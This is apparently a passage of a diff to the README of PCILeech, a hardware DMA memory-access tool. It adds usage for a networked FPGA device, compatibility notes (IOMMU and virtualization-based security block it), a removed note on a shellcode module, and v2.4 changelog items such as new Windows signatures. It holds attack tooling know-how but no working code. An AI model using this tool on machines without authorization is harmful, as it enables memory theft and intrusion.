0x0 -max 0x21e5fffff -force ` -Force the usage of a specific device (instead of default auto detecting it). -* ` pcileech.exe pagedisplay -min 0x1000 -device usb3380 ` +Force the usage of a specific device (instead of default auto detecting it). The sp605_tcp device is not auto detected. +* ` pcileech.exe pagedisplay -min 0x1000 -device sp605_tcp -device-addr 192.168.1.2 ` Generating Signatures: ====================== @@ -159,10 +166,9 @@ Limitations/Known Issues: * Does not work if the OS uses the IOMMU/VT-d. This is the default on macOS (unless disabled in recovery mode). Windows 10 with Virtualization based security features enabled does not work fully - this is however not the default setting in Windows 10 or Linux. * Some Linux kernels does not work. Sometimes a required symbol is not exported in the kernel and PCILeech fails. * Linux based on the 4.8 kernel and later might not work with the USB3380 hardware. As an alternative, if target root access exists, compile and insert .ko (pcileech_kmd/linux). If the system is EFI booted an alternative signature exists. -* Windows Vista: some shellcode modules such as wx64_pscmd does not work. * Windows 7: signatures are not published. * The Linux/Android versions of PCILeech dumps memory slightly slower than the Windows version. Mount target file system and live RAM are also not availabe in the Linux/Android versions. -* FPGA support currently only exists if PCILeech is run on Windows. Linux and Android support is planned for the future. +* FPGA support for the SP605/FT601 device only exists for Windows. Linux and Android support is planned for the future. Building: ========= @@ -203,3 +209,10 @@ v2.2 v2.3 * [FPGA hardware support (SP605/FT601)](https://github.com/ufrisk/pcileech-fpga). * Various changes. + +v2.4 +* Support for FPGA SP605/TCP added by [Dmytro Oleksiuk](https://github.com/Cr4sh). +* Signature updates for various Windows versions including "fall creators update". +* Linux file system mount support for kernel version 4.11 later. +* Improved memory reading algorithm for FPGA devices. +* Various bug fixes.